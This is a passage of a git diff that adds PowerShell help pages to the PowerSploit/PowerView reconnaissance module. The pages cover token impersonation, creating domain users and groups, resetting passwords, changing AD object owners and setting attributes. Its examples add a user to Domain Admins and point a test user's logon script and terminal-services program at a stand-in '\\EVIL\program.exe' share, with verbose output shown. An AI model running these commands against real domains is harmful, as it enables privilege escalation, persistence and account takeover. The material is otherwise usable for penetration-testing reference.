Invoke-ReverseDnsLookup +``` + +IP HostName +-- -------- +74.125.228.1 iad23s05-in-f1.1e100.net +74.125.228.1 iad23s05-in-f1.1e100.net +74.125.228.2 iad23s05-in-f2.1e100.net +74.125.228.3 iad23s05-in-f3.1e100.net +74.125.228.4 iad23s05-in-f4.1e100.net +74.125.228.5 iad23s05-in-f5.1e100.net +74.125.228.6 iad23s05-in-f6.1e100.net + +Description +----------- +Returns the hostnames of the IP addresses piped from another source. + +## PARAMETERS + +### -IpRange +Specifies the IP address range. +The range provided can be in the form of a single IP address, a low-high range, or a CIDR range. +Comma-delimited ranges may can be provided. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[http://www.exploit-monday.com +https://github.com/mattifestation/PowerSploit]() + diff --git a/docs/Recon/Invoke-RevertToSelf.md b/docs/Recon/Invoke-RevertToSelf.md new file mode 100755 index 00000000..4e978ac3 --- /dev/null +++ b/docs/Recon/Invoke-RevertToSelf.md @@ -0,0 +1,56 @@ +# Invoke-RevertToSelf + +## SYNOPSIS +Reverts any token impersonation. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +## SYNTAX + +``` +Invoke-RevertToSelf [[-TokenHandle] ] +``` + +## DESCRIPTION +This function uses RevertToSelf() to revert any impersonated tokens. +If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation), +CloseHandle() is used to close the opened handle. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$Token = Invoke-UserImpersonation -Credential $Cred +Invoke-RevertToSelf -TokenHandle $Token + +## PARAMETERS + +### -TokenHandle +An optional IntPtr TokenHandle returned by Invoke-UserImpersonation. + +```yaml +Type: IntPtr +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Invoke-UserImpersonation.md b/docs/Recon/Invoke-UserImpersonation.md new file mode 100755 index 00000000..6b1afc47 --- /dev/null +++ b/docs/Recon/Invoke-UserImpersonation.md @@ -0,0 +1,100 @@ +# Invoke-UserImpersonation + +## SYNOPSIS +Creates a new "runas /netonly" type logon and impersonates the token. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +## SYNTAX + +### Credential (Default) +``` +Invoke-UserImpersonation -Credential [-Quiet] +``` + +### TokenHandle +``` +Invoke-UserImpersonation -TokenHandle [-Quiet] +``` + +## DESCRIPTION +This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType +to simulate "runas /netonly". +The resulting token is then impersonated with +ImpersonateLoggedOnUser() and the token handle is returned for later usage +with Invoke-RevertToSelf. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Invoke-UserImpersonation -Credential $Cred + +## PARAMETERS + +### -Credential +A \[Management.Automation.PSCredential\] object with alternate credentials +to impersonate in the current thread space. + +```yaml +Type: PSCredential +Parameter Sets: Credential +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -TokenHandle +An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation. +If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser() +is executed. + +```yaml +Type: IntPtr +Parameter Sets: TokenHandle +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Quiet +Suppress any warnings about STA vs MTA. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### IntPtr + +The TokenHandle result from LogonUser. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/New-DomainGroup.md b/docs/Recon/New-DomainGroup.md new file mode 100755 index 00000000..fc5cac09 --- /dev/null +++ b/docs/Recon/New-DomainGroup.md @@ -0,0 +1,150 @@ +# New-DomainGroup + +## SYNOPSIS +Creates a new domain group (assuming appropriate permissions) and returns the group object. + +TODO: implement all properties that New-ADGroup implements (https://technet.microsoft.com/en-us/library/ee617253.aspx). + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +## SYNTAX + +``` +New-DomainGroup [-SamAccountName] [[-Name] ] [[-DisplayName] ] + [[-Description] ] [[-Domain] ] [[-Credential] ] +``` + +## DESCRIPTION +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to create a new +DirectoryServices.AccountManagement.GroupPrincipal with the specified +group properties. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' +``` + +Creates the 'TestGroup' group with the specified description. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' -Credential $Cred + +Creates the 'TestGroup' group with the specified description using the specified alternate credentials. + +## PARAMETERS + +### -SamAccountName +Specifies the Security Account Manager (SAM) account name of the group to create. +Maximum of 256 characters. +Mandatory. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Name +Specifies the name of the group to create. +If not provided, defaults to SamAccountName. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -DisplayName +Specifies the display name of the group to create. +If not provided, defaults to SamAccountName. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 3 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Description +Specifies the description of the group to create. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 6 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### DirectoryServices.AccountManagement.GroupPrincipal + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/New-DomainUser.md b/docs/Recon/New-DomainUser.md new file mode 100755 index 00000000..80f4fcf8 --- /dev/null +++ b/docs/Recon/New-DomainUser.md @@ -0,0 +1,184 @@ +# New-DomainUser + +## SYNOPSIS +Creates a new domain user (assuming appropriate permissions) and returns the user object. + +TODO: implement all properties that New-ADUser implements (https://technet.microsoft.com/en-us/library/ee617253.aspx). + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +## SYNTAX + +``` +New-DomainUser [-SamAccountName] [-AccountPassword] [[-Name] ] + [[-DisplayName] ] [[-Description] ] [[-Domain] ] [[-Credential] ] +``` + +## DESCRIPTION +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to create a new +DirectoryServices.AccountManagement.UserPrincipal with the specified user properties. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword + +Creates the 'harmj0y2' user with the specified description and password. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$user = New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword -Credential $Cred + +Creates the 'harmj0y2' user with the specified description and password, using the specified +alternate credentials. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred + +Creates the 'andy' user with the specified description and password, using the specified +alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember +and the alternate credentials. + +## PARAMETERS + +### -SamAccountName +Specifies the Security Account Manager (SAM) account name of the user to create. +Maximum of 256 characters. +Mandatory. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -AccountPassword +Specifies the password for the created user. +Mandatory. + +```yaml +Type: SecureString +Parameter Sets: (All) +Aliases: Password + +Required: True +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Name +Specifies the name of the user to create. +If not provided, defaults to SamAccountName. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 3 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -DisplayName +Specifies the display name of the user to create. +If not provided, defaults to SamAccountName. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Description +Specifies the description of the user to create. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 6 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 7 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### DirectoryServices.AccountManagement.UserPrincipal + +## NOTES + +## RELATED LINKS + +[http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/](http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/) + diff --git a/docs/Recon/Remove-RemoteConnection.md b/docs/Recon/Remove-RemoteConnection.md new file mode 100755 index 00000000..fe6f3b36 --- /dev/null +++ b/docs/Recon/Remove-RemoteConnection.md @@ -0,0 +1,84 @@ +# Remove-RemoteConnection + +## SYNOPSIS +Destroys a connection created by New-RemoteConnection. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +## SYNTAX + +### ComputerName (Default) +``` +Remove-RemoteConnection [-ComputerName] +``` + +### Path +``` +Remove-RemoteConnection [-Path] +``` + +## DESCRIPTION +This function uses WNetCancelConnection2 to destroy a connection created by +New-RemoteConnection. +If a -Path isn't specified, a -ComputerName is required to +'unmount' \\\\$ComputerName\IPC$. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Remove-RemoteConnection -ComputerName 'PRIMARY.testlab.local' +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Remove-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' +``` + +### -------------------------- EXAMPLE 3 -------------------------- +``` +@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Remove-RemoteConnection +``` + +## PARAMETERS + +### -ComputerName +Specifies the system to remove a \\\\ComputerName\IPC$ connection for. + +```yaml +Type: String[] +Parameter Sets: ComputerName +Aliases: HostName, dnshostname, name + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Path +Specifies the remote \\\\UNC\path to remove the connection for. + +```yaml +Type: String[] +Parameter Sets: Path +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Resolve-IPAddress.md b/docs/Recon/Resolve-IPAddress.md new file mode 100755 index 00000000..744c764b --- /dev/null +++ b/docs/Recon/Resolve-IPAddress.md @@ -0,0 +1,66 @@ +# Resolve-IPAddress + +## SYNOPSIS +Resolves a given hostename to its associated IPv4 address. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Resolve-IPAddress [[-ComputerName] ] +``` + +## DESCRIPTION +Resolves a given hostename to its associated IPv4 address using +\[Net.Dns\]::GetHostEntry(). +If no hostname is provided, the default +is the IP address of the localhost. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Resolve-IPAddress -ComputerName SERVER +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +@("SERVER1", "SERVER2") | Resolve-IPAddress +``` + +## PARAMETERS + +### -ComputerName +{{Fill ComputerName Description}} + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: $Env:COMPUTERNAME +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +### String + +Accepts one or more IP address strings on the pipeline. + +## OUTPUTS + +### System.Management.Automation.PSCustomObject + +A custom PSObject with the ComputerName and IPAddress. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Set-DomainObject.md b/docs/Recon/Set-DomainObject.md new file mode 100755 index 00000000..8cb283b0 --- /dev/null +++ b/docs/Recon/Set-DomainObject.md @@ -0,0 +1,322 @@ +# Set-DomainObject + +## SYNOPSIS +Modifies a gven property for a specified active directory object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +## SYNTAX + +``` +Set-DomainObject [[-Identity] ] [-Set ] [-XOR ] [-Clear ] + [-Domain ] [-LDAPFilter ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] +``` + +## DESCRIPTION +Splats user/object targeting parameters to Get-DomainObject, returning the raw +searchresult object. +Retrieves the raw directoryentry for the object, and sets +any values from -Set @{}, XORs any values from -XOR @{}, and clears any values +from -Clear @(). + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose +``` + +VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) +VERBOSE: Setting mstsinitialprogram to \\\\EVIL\program.exe for object testuser + +### -------------------------- EXAMPLE 2 -------------------------- +``` +"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Set @{'countrycode'=1234; 'mstsinitialprogram'='\\EVIL\program2.exe'} -Verbose +``` + +VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: +(&(|(objectsid=S-1-5-21-890171859-3433809279-3366196753-1108))) +VERBOSE: Setting mstsinitialprogram to \\\\EVIL\program2.exe for object harmj0y +VERBOSE: Setting countrycode to 1234 for object harmj0y +VERBOSE: Get-DomainSearcher search string: +LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) +VERBOSE: Setting mstsinitialprogram to \\\\EVIL\program2.exe for object testuser +VERBOSE: Setting countrycode to 1234 for object testuser + +### -------------------------- EXAMPLE 3 -------------------------- +``` +"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Clear department -Verbose +``` + +Cleares the 'department' field for both object identities. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Get-DomainUser testuser | ConvertFrom-UACValue -Verbose +``` + +Name Value +---- ----- +NORMAL_ACCOUNT 512 + + +Set-DomainObject -Identity testuser -XOR @{useraccountcontrol=65536} -Verbose + +VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) +VERBOSE: XORing 'useraccountcontrol' with '65536' for object 'testuser' + +Get-DomainUser testuser | ConvertFrom-UACValue -Verbose + +Name Value +---- ----- +NORMAL_ACCOUNT 512 +DONT_EXPIRE_PASSWORD 65536 + +### -------------------------- EXAMPLE 5 -------------------------- +``` +Get-DomainUser -Identity testuser -Properties scriptpath +``` + +scriptpath +---------- +\\\\primary\sysvol\blah.ps1 + +$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Set-DomainObject -Identity testuser -Set @{'scriptpath'='\\\\EVIL\program2.exe'} -Credential $Cred -Verbose +VERBOSE: \[Get-Domain\] Using alternate credentials for Get-Domain +VERBOSE: \[Get-Domain\] Extracted domain 'TESTLAB' from -Credential +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainSearcher\] Using alternate credentials for LDAP connection +VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser)))) +VERBOSE: \[Set-DomainObject\] Setting 'scriptpath' to '\\\\EVIL\program2.exe' for object 'testuser' + +Get-DomainUser -Identity testuser -Properties scriptpath + +scriptpath +---------- +\\\\EVIL\program2.exe + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Set +Specifies values for one or more object properties (in the form of a hashtable) that will replace the current values. + +```yaml +Type: Hashtable +Parameter Sets: (All) +Aliases: Reaplce + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -XOR +Specifies values for one or more object properties (in the form of a hashtable) that will XOR the current values. + +```yaml +Type: Hashtable +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Clear +Specifies an array of object properties that will be cleared in the directory. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Set-DomainObjectOwner.md b/docs/Recon/Set-DomainObjectOwner.md new file mode 100755 index 00000000..0da88199 --- /dev/null +++ b/docs/Recon/Set-DomainObjectOwner.md @@ -0,0 +1,234 @@ +# Set-DomainObjectOwner + +## SYNOPSIS +Modifies the owner for a specified active directory object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +## SYNTAX + +``` +Set-DomainObjectOwner [-Identity] -OwnerIdentity [-Domain ] [-LDAPFilter ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-Credential ] +``` + +## DESCRIPTION +Retrieves the Active Directory object specified by -Identity by splatting to +Get-DomainObject, returning the raw searchresult object. +Retrieves the raw +directoryentry for the object, and sets the object owner to -OwnerIdentity. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y +``` + +Set the owner of 'dfm' in the current domain to 'harmj0y'. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y -Credential $Cred + +Set the owner of 'dfm' in the current domain to 'harmj0y' using the alternate credentials. + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +of the AD object to set the owner for. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -OwnerIdentity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +of the owner to set for -Identity. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Owner + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Set-DomainUserPassword.md b/docs/Recon/Set-DomainUserPassword.md new file mode 100755 index 00000000..2dd111a8 --- /dev/null +++ b/docs/Recon/Set-DomainUserPassword.md @@ -0,0 +1,127 @@ +# Set-DomainUserPassword + +## SYNOPSIS +Sets the password for a given user identity. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +## SYNTAX + +``` +Set-DomainUserPassword [-Identity] -AccountPassword [-Domain ] + [-Credential ] +``` + +## DESCRIPTION +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to search for the specified user -Identity, +which returns a DirectoryServices.AccountManagement.UserPrincipal object. +The +SetPassword() function is then invoked on the user, setting the password to -AccountPassword. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword + +Resets the password for 'andy' to the password specified. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred + +Resets the password for 'andy' usering the alternate credentials specified. + +## PARAMETERS + +### -Identity +A user SamAccountName (e.g. +User1), DistinguishedName (e.g. +CN=user1,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1113), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +specifying the user to reset the password for. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: UserName, UserIdentity, User + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -AccountPassword +Specifies the password to reset the target user's to. +Mandatory. + +```yaml +Type: SecureString +Parameter Sets: (All) +Aliases: Password + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use to search for the user identity, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### DirectoryServices.AccountManagement.UserPrincipal + +## NOTES + +## RELATED LINKS + +[http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/](http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/) + diff --git a/docs/Recon/Test-AdminAccess.md b/docs/Recon/Test-AdminAccess.md new file mode 100755 index 00000000..84eab4eb --- /dev/null +++ b/docs/Recon/Test-AdminAccess.md @@ -0,0 +1,101 @@ +# Test-AdminAccess + +## SYNOPSIS +Tests if the current user has administrative access to the local 